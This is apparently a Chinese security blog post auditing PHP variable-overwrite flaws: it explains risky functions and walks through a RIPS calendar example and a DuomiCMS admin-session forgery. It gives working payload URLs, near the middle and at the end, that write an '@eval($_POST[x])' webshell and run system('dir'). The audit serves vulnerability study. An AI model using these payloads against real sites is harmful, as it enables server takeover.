代码审计-Duomi变量覆盖getshell

变量覆盖一些基础记录:

自定义的参数值替换原有变量值的情况称为变量覆盖漏洞

漏洞函数:

$$可变变量
extract()函数使用不当	
parse_str()函数使用不当
import_request_variables()使用不当

1.$$
一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。

2..extract()变量覆盖
extract() 函数从数组中将变量导入到当前的符号表。
语法

extract(array,extract_rules,prefix)

3.parse_str()变量覆盖
parse_str() 函数把查询字符串解析到变量中。

语法
parse_str(string,array)**
参数 描述
string必需。 规定要解析的字符串。
array可选。 规定存储变量的数组名称。该参数指示变量存储到数组中。

4.import_request_variables()变量覆盖

import_request_variables—将 GET/POST/Cookie 变量导入到全局作用域中
import_request_variables()函数就是把GET、POST、COOKIE的参数注册成变量,用在register_globals被禁止的时候
2.语法
bool import_request_variables(string$types[,string$prefix] )
$type代表要注册的变量来源 ,G代表get P代表post C代表cookie

php-security-calendar-2017变量覆盖例题


https://www.ripstech.com/php-security-calendar-2017/

Carrot 类的构造方法将超全局数组 $_GET 进行变量注册,这样即可覆盖 第8行 已定义的 $this-> 变量。而在 第16行 处的析构函数中, file_put_contents 函数的第一个参数又是由 $this-> 变量拼接的,

可以控制写入文件的位置,最终造成任意文件写入问题

http://127.0.0.1/2017_var_vul.php?id=../var/www/html/webshell.php&shell=',)%0a<?php @eval($_POST[x]);?>

DuomiCMS`变量覆盖实战

CMS中的全局变量注册代码 导致变量覆盖
duomiphp/common.php:

function _RunMagicQuotes(&$svar)
{
	if(!get_magic_quotes_gpc())
	{
		if( is_array($svar) )
		{

			foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
		}
		else
		{
			$svar = addslashes($svar);   //转义函数
		}
	}
	return $svar;
}

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
	foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);   //用addslashes进行清洗
}

其中 _RunMagicQuotes 函数将特殊符号,使用 addslashes 函数进行转义处理
WWW\Duomicms\duomiphp\common.php:_RunMagicQuotes:

过滤规则:
duomiphp\webscan.php

利用文件\WWW\Duomicms\admin\admin_ping.php可写入webshell(需要admin权限 通过变量覆盖来伪造):

验证admin身份的代码:
\WWW\Duomicms\duomiphp\check.admin.php:

require_once($admincachefile);

class userLogin
{
	var $userName = '';
	var $userPwd = '';
	var $userID = '';
	var $adminDir = '';
	var $groupid = '';
	var $keepUserIDTag = "duomi_admin_id";
	var $keepgroupidTag = "duomi_group_id";
	var $keepUserNameTag = "duomi_admin_name";

	//php5构造函数
	function __construct($admindir='')
	{
		global $admin_path;
		if(isset($_SESSION[$this->keepUserIDTag]))
		{
			$this->userID = $_SESSION[$this->keepUserIDTag];
			$this->groupid = $_SESSION[$this->keepgroupidTag];
			$this->userName = $_SESSION[$this->keepUserNameTag];
		}

寻找使用session变量认证的地方 通过变量覆盖达到伪造admin身份 以至于使用admin_ping.php
中的文件写入代码 ,写入webshell
\Duomicms\member\share.php

gethshell:

http://127.0.0.1/Duomicms/admin/admin_ping.php?action=set

weburl=";@eval($_POST[x]);//&token=&x=system('dir');

posted @ 2019-08-27 20:04  卿先生  阅读(524)  评论(0编辑  收藏  举报